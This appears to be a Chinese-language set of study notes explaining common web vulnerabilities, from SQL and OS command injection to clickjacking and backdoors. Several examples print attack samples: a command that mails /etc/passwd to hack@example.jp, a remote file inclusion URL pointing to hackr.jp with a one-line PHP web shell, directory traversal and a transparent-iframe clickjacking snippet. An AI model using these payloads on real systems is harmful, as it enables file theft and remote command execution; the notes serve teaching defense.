使用数据库的Web应用，通过某种方法将SQL语句传给RDBMS，再把RDBMS返回的结果灵活地使用在Web应用中。

常见例子：

正常情况下，“上野宣”关键词的搜索只会列出作者为“上野宣”书籍为可售状态的书（flag=1）

现在，在刚才指定查询字段的上野宣改写成上野宣’--：

SQL语句中的--之后全视为注释。即and flag=1这个条件被自动忽略了。这样，搜索结果就跟flag的设定值无关，只取出满足author=“上野宣”条件所在行的数据，这样连那些尚未出版的图书也一并显示出来了。

总结：SQL注入是攻击者将SQL语句改变成开发者意想不到的形式以达到破坏结构的攻击。

OS命令注入攻击

OS命令注入攻击（OS Command Injection）是指通过Web应用，执行非法的操作系统命令达到攻击的目的。只要在能调用Shell函数的地方就有存在被攻击的风险。

可以从Web应用中通过Shell来调用操作系统命令。但是如果调用Shell时存在疏漏，就可以执行插入的非法OS命令，它可以向Shell发送命令，让Windows或Linux操作系统的命令行启动程序

例子：

该功能可将用户的咨询邮件按已填写的对方邮箱地址发送过去。

下面摘选处理该表单内容的一部分核心代码：

程序中的open函数会调用sendmail命令发送邮件，而指定的邮件发送地址即$adr的值。程序接收该值，构成以下的命令组合：

攻击者的输入值中含有分号（;）。这个符号在OS命令中，会被解析为分隔多个执行命令的标记。

可见，sendmail命令执行被分隔后，接下去就会执行cat /etc/passwd| mailhack@example.jp这样的命令了。结果，含有Linux账户信息/etc/passwd的文件，就以邮件形式发送给了hack@example.jp。

HTTP首部注入攻击

HTTP首部注入攻击（HTTP Header Injection）是指攻击者通过在响应首部字段内插入换行，添加任意响应首部或主体的一种攻击。属于被动攻击模式。向首部主体内添加内容的攻击称为HTTP响应截断攻击（HTTP Response SplittingAttack）。

如下所示，Web应用有时会把从外部接收到的数值，赋给响应首部字段Location和Set-Cookie。HTTP首部注入可能像这样，通过在某些响应首部字段需要处理输出值的地方，插入换行发动攻击。

它可以：

• 设置任何Cookie信息
• 重定向至任意URL
• 显示任意的主体（HTTP响应截断攻击）

例子：

下面的功能是为每个类别都设定了一个类别ID值，一旦选定某类别，就会将该ID值反映在响应内的Location首部字段内，形如Location:http://example.com/?cat=101。令浏览器发生重定向跳转。

现在，攻击者以下面的内容替代之前的类别ID后发送请求：

其中，%0D%0A代表HTTP报文中的换行符，紧接着的是可强制将攻击者网站（http://hackr.jp/）的会话ID设置成SID=123456789的Set-Cookie首部字段。发送该请求之后，假设结果返回以下响应。

此刻，首部字段Set-Cookie已生效，因此攻击者可指定修改任意的Cookie信息。通过和会话固定攻击（攻击者可使用指定的会话ID）攻击组合，攻击者可伪装成用户。

攻击者输入的%0D%0A，原本应该属于首部字段Location的查询值部分，但经过解析后，%0D%0A变成了换行符，结果插入了新的首部字段。这样一来，攻击者可在响应中插入任意的首部字段。

例子2：

但是要将两个%0D%0A%0D%0A并排插入字符串后发送。利用这两个连续的换行就可作出HTTP首部与主体分隔所需的空行了，这样就能显示伪造的主体，达到攻击目的：

在可能进行HTTP首部注入的环节，通过发送上面的字符串，返回结果得到以下这种响应：

利用这个攻击，已触发陷阱的用户浏览器会显示伪造的Web页面，再让用户输入自己的个人信息等，可达到和跨站脚本攻击相同的效果

邮件首部注入攻击

邮件首部注入（Mail Header Injection）是指Web应用中的邮件发送功能，攻击者通过向邮件首部To或Subject内任意添加非法内容发起的攻击。利用存在安全漏洞的Web网站，可对任意邮件地址发送广告邮件或病毒邮件。

例子：

该功能可在表单内填入咨询者的邮件地址及咨询内容后，以邮件的形式发送给网站管理员：

现在，攻击者将以下数据作为邮件地址发起请求：

%0D%0A在邮件报文中代表换行符。一旦咨询表单所在的Web应用接收了这个换行符，就可能实现对Bcc邮件地址的追加发送

另外，使用两个连续的换行符就有可能篡改邮件文本内容并发送：

目录遍历攻击

目录遍历（Directory Traversal）攻击是指对本无意公开的文件目录，通过非法截断其目录路径后，达成访问目的的一种攻击。这种攻击有时也称为路径遍历（PathTraversal）攻击。

通过Web应用对文件处理操作时，在由外部指定文件名的处理存在疏漏的情况下，用户可使用../等相对路径定位到/etc/passed等绝对路径上，因此服务器上任意的文件或文件目录皆有可能被访问到。这样一来，就有可能非法浏览、篡改或删除Web服务器上的文件。虽然存在输出值转义，但更应该关闭指定对任意文件名的访问权限。

例子：

以显示读取文件功能为例。该功能通过以下查询字段，指定某个文件名。然后从/www/log/文件目录下读取这个指定的文件：

现在，攻击者设置如下查询字段后发出请求：

查询字段为了读取攻击者盯上的/etc/passwd文件，会从/www/log/目录开始定位相对路径。如果read.php脚本接受对指定目录的访问请求处理，那原本不公开的文件就存在可被访问的风险：

远程文件包含漏洞

远程文件包含漏洞（Remote File Inclusion）是指当部分脚本内容需要从其他文件读入时，攻击者利用指定外部服务器的URL充当依赖文件，让脚本读取之后，就可运行任意脚本的一种攻击。这主要是PHP存在的安全漏洞，对PHP的include或require来说，这是一种可通过设定，指定外部服务器的URL作为文件名的功能。但是，该功能太危险，PHP5.2.0之后默认设定此功能无效。虽然存在输出值转义，但更应控制对任意文件名的指定。

例子：

以include读入由查询字段指定文件的功能为例。该功能可通过以下查询字段形式指定文件名，并在脚本内的include语句处读入这个指定文件：

http://example.com/foo.php?mod=news.php

对应脚本的源代码如下所示：

//http://example.com/foo.php的源代码（部分摘录）
Smodname=$_GET['mod'];
include(Smodname);

现在，攻击者指定如同下面形式的URL发出请求：

http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=1s

攻击者已事先在外部服务器上准备了以下这段脚本：

//http://hackr.jp/cmd.php的源代码
<? system($_GET['cmd']) ?>

假设Web服务器（example.com）的include可以引入外部服务器的URL，那就会读入攻击者在外部服务器上事先准备的URL（http://hackr.jp/cmd.php）。结果，通过system函数就能在Web服务器（example.com）上执行查询字段指定的OS命令了。

在以上攻击案例中，执行了可显示Web服务器（example.com）上文件及目录信息的ls命令

因设置或设计上的缺陷引发的安全漏洞

指的是错误设置Web服务器，或是由设计上的一些问题引起的安全漏洞。

强制浏览

强制浏览（Forced Browsing）安全漏洞是指，从安置在Web服务器的公开目录下的文件中，浏览那些原本非自愿公开的文件。它会造成以下影响：

• 泄露顾客的个人信息等重要情报
• 泄露原本需要具有访问权限的用户才可查阅的信息内容
• 泄露未外连到外界的文件

对那些原本不愿公开的文件，为了保证安全会隐蔽其URL。可一旦知道了那些URL，也就意味着可浏览URL对应的文件。直接显示容易推测的文件名或文件目录索引时，通过某些方法可能会使URL产生泄露：

通过指定文件目录名称，即可在文件一览中看到显示的文件名:
http://www.example.com/log/

容易被推测的文件名及目录名:
http://www.example.com/entry/entry_081202.log

由编辑软件自动生成的备份文件无执行权限，有可能直接以源代码形式显示:
http://www.example.com/cgi-bin/entry.cgi（原始文件）
http://www.example.com/cgi-bin/entry.cgi～（备份文件）
http://www.example.com/cgi-bin/entry.bak（备份文件）

直接通过URL访问原本必须经过认证才能在Web页面上使用的文件（HTML文件、图片、PDF等文档、CSS以及其他数据等）

不正确的错误消息处理

不正确的错误消息处理（Error Handling Vulnerability）的安全漏洞是指，Web应用的错误信息内包含对攻击者有用的信息。与Web应用有关的主要错误信息有：

• Web应用抛出的错误消息
• 数据库等系统抛出的错误消息

Web应用不必在用户的浏览画面上展现详细的错误消息。对攻击者来说，详细的错误消息有可能给他们下一次攻击以提示。

例子1：

Web应用抛出的错误消息

假设有一个认证功能，在表单内输入邮件地址及密码匹配发生错误时，会提示错误信息。

比如当输入的邮件地址尚未在该Web网站上注册时，会“邮件地址未注册”的错误消息。而当邮件地址存在，会提示“输入的密码有误”之类的错误消息。

攻击者利用进行不同的输入会提示不同的错误信息这条，就可用来确认输入的邮件地址是否已在这个Web网站上注册过了。为了不让错误消息给攻击者以启发，建议将提示消息的内容仅保留到“认证错误”这种程度即可。

例子2：

数据库等系统抛出的错误消息

本功能用于检索数据，当输入未预料的字符串时，会提示数据库的错误：

上方的画面中显示了与SQL有关的错误信息。对开发者而言，该信息或许在Debug时会有帮助，但对用户毫无用处。攻击者从这条消息中可读出数据库选用的是MySQL，甚至还看见了SQL语句的片段。这可能给攻击者进行SQL注入攻击以启发。

系统抛出的错误主要集中在以下几个方面：

• PHP或ASP等脚本错误
• 数据库或中间件的错误
• Web服务器的错

开放重定向

该功能向URL指定参数，使本来的URL发生重定向跳转：

http://example.com/?redirect=http://www.tricorder.jp

现在，攻击者把重定向指定的参数改写成已设好陷阱的Web网站对应的连接：

http:/∥example.com/?redirect=http://hackr.jp

用户看到URL后原以为访问example.com，不料实际上被诱导至hackr.jp这个指定的重定向目标。可信度高的Web网站如果开放重定向功能，则很有可能被攻击者选中并用来作为钓鱼攻击的跳板。

因会话管理疏忽引发的安全漏洞

会话管理是用来管理用户状态的必备功能，但是如果在会话管理上有所疏忽，就会导致用户的认证状态被窃取等后果。

会话劫持

会话劫持（Session Hijack）是指攻击者通过某种手段拿到了用户的会话ID，并非法使用此会话ID伪装成用户，达到攻击的目的。

具备认证功能的Web应用，使用会话ID的会话管理机制，作为管理认证状态的主流方式。会话ID中记录客户端的Cookie等信息，服务器端将会话ID与认证状态进行一对一匹配管理。下面列举了几种攻击者可获得会话ID的途径：

• 通过非正规的生成方法推测会话ID
• 通过窃听或XSS攻击盗取会话ID
• 通过会话固定攻击（Session Fixation）强行获取会话ID

例子:

以认证功能为例讲解会话劫持。这里的认证功能通过会话管理机制，会将成功认证的用户的会话ID（SID）保存在用户浏览器的Cookie中。

攻击者在得知该Web网站存在可跨站攻击（XSS）的安全漏洞后，就设置好用JavaScript脚本调用document.cookie以窃取Cookie信息的陷阱，一旦用户踏入陷阱（访问了该脚本），攻击者就能获取含有会话ID的Cookie。

攻击者拿到用户的会话ID后，往自己的浏览器的Cookie中设置该会话ID，即可伪装成会话ID遭窃的用户，访问Web网站了。

会话固定攻击

会话固定攻击（SessionFixation）攻击会强制用户使用攻击者指定的会话ID，属于被动攻击。

例子：

以认证功能为例。这个Web网站的认证功能，会在认证前发布一个会话ID，若认证成功，就会在服务器内改变认证状态。

CSRF攻击

跨站点请求伪造（Cross-Site Request Forgeries,CSRF）攻击是指攻击者通过设置好的陷阱，强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新，属于被动攻击。它会造成以下影响：

• 利用已通过认证的用户权限更新设定信息等
• 利用已通过认证的用户权限购买商品
• 利用已通过认证的用户权限在留言板上发表言论

例子：

以留言板功能为例，该功能只允许已认证并登录的用户在留言板上发表内容：

在该留言板系统上，受害者用户A是已认证状态。它的浏览器中的Cookie持有已认证的会话ID

攻击者设置好一旦用户访问，即会发送在留言板上发表非主观行为产生的评论的请求的陷阱。用户A的浏览器执行完陷阱中的请求后，留言板上也就会留下那条评论

其他安全漏洞

密码破解攻击（Password Cracking）即算出密码，突破认证。攻击不仅限于Web应用，还包括其他的系统（如FTP或SSH等），如何对具备认证功能的Web应用进行的密码破解？

密码破解的手段

• 通过网络的密码试错

  1. 穷举法

     穷举法（Brute-force Attack，又称暴力破解法）是指对所有密钥集合构成的密钥空间（Keyspace）进行穷举。

     即，用所有可行的候选密码对目标的密码系统试错，用以突破验证的一种攻击。比如银行采用的个人识别码是由“4位数字”组成的密码，那么就要从0000～9999中的全部数字逐个进行尝试。这样一来，必定在候选的密码集合中存在一个正确的密码，可通过认证。因为穷举法会尝试所有的候选密码，所以是一种必然能够破解密码的攻击。但是，当密钥空间很庞大时，解密可能需要花费数年，甚至千年的时间，因此从现实角度考量，攻击是失败的。

  2. 字典攻击

     字典攻击是指利用事先收集好的候选密码（经过各种组合方式后存入字典），枚举字典中的密码，尝试通过认证的一种攻击手法。

     还是举银行采用个人识别码是“4位数字”的密码的例子，考虑到用户使用自己的生日做密码的可能性较高，于是就可以把生日日期数值化，如将0101～1231保存成字典，进行尝试。与穷举法相比，由于需要尝试的候选密码较少，意味着攻击耗费的时间比较短。但是，如果字典中没有正确的密码，那就无法破解成功。

  

• 对已加密密码的破解（指攻击者入侵系统，已获得加密或散列处理的密码数据的情况）

  Web应用在保存密码时，一般不会直接以明文的方式保存，通过散列函数做散列处理或加salt的手段对要保存的密码本身加密。那即使攻击者使用某些手段窃取密码数据，如果想要真正使用这些密码，则必须先通过解码等手段，把加密处理的密码还原成明文形式。

  

  ---

  从加密过的数据中导出明文通常有以下几种方法:

  • 通过穷举法-字典攻击进行类推

    针对密码使用散列函数进行加密处理的情况，采用和穷举法或字典攻击相同的手法，尝试调用相同的散列函数加密候选密码，然后把计算出的散列值与目标散列值匹配，类推出密码。

    

  • 彩虹表

    彩虹表（Rainbow Table）是由明文密码及与之对应的散列值构成的一张数据库表，是一种通过事先制作庞大的彩虹表，可在穷举法·字典攻击等实际破解过程中缩短消耗时间的技巧。从彩虹表内搜索散列值就可以推导出对应的明文密码。

    

  • 拿到密钥

    使用共享密钥加密方式对密码数据进行加密处理的情况下，如果能通过某种手段拿到加密使用的密钥，也就可以对密码数据解密了。

  • 加密算法的漏洞

    考虑到加密算法本身可能存在的漏洞，利用该漏洞尝试解密也是一种可行的方法。如果是Web应用开发者独立实现的加密算法，想必尚未经过充分的验证，还是很有可能存在漏洞的。

除去突破认证的攻击手段，还有SQL注入攻击逃避认证，跨站脚本攻击窃取密码信息等方法

点击劫持

点击劫持（Clickjacking）是指利用透明的按钮或链接做成陷阱，覆盖在Web页面之上。然后诱使用户在不知情的情况下，点击那个链接访问内容的一种攻击手段。这种行为又称为界面伪装（UI Redressing）。

例子：

以SNS网站的注销功能为例。利用该注销功能，注册登录的SNS用户只需点击注销按钮，就可以从SNS网站上注销自己的会员身份。

攻击者在预料用户会点击的Web页面上设下陷阱。上图中钓鱼游戏页面上的PLAY按钮就是这类陷阱的实例。在做过手脚的Web页面上，目标的SNS注销功能页面将作为透明层覆盖在游戏网页上。覆盖时，要保证PLAY按钮与注销按钮的页面所在位置保持一致。

//iframe页面中使用透明可点击按钮的示例
<iframe id="target"src="http://sns.example.jp/leave" style==>
"opacity:0;filter:alpha(opacity=0)"></iframe>
<button style="position:absolute;top:100;left:100;z-index:-
1">PLAY=>
</button>

由于SNS网站作为透明层覆盖目标网站，SNS网站上处于登录状态的用户访问这个钓鱼网站并点击页面上的PLAY按钮之后，等同于点击了SNS网站的注销按钮。

DoS攻击

DoS攻击（Denial of Service attack）是一种让运行中的服务呈停止状态的攻击。有时也叫做服务停止攻击或拒绝服务攻击。DoS攻击的对象不仅限于Web网站，还包括网络设备及服务器等。有两种DoS攻击方式：

• 集中利用访问请求造成资源过载，资源用尽的同时，实际上服务也就呈停止状态。
• 通过攻击安全漏洞使服务停止。

其中，集中利用访问请求的DoS攻击，单纯来讲就是发送大量的合法请求。服务器很难分辨何为正常请求，何为攻击请求，因此很难防止DoS攻击。

多台计算机发起的DoS攻击称为DDoS攻击（Distributed Denial of Serviceattack）。DDoS攻击通常利用那些感染病毒的计算机作为攻击者的攻击跳板。

后门程序

后门程序（Backdoor）是指开发设置的隐藏入口，可不按正常步骤使用受限功能。利用后门程序就能够使用原本受限制的功能。可分为以下3种类型：

• 开发阶段作为Debug调用的后门程序
• 开发者为了自身利益植入的后门程序
• 攻击者通过某种方法设置的后门程序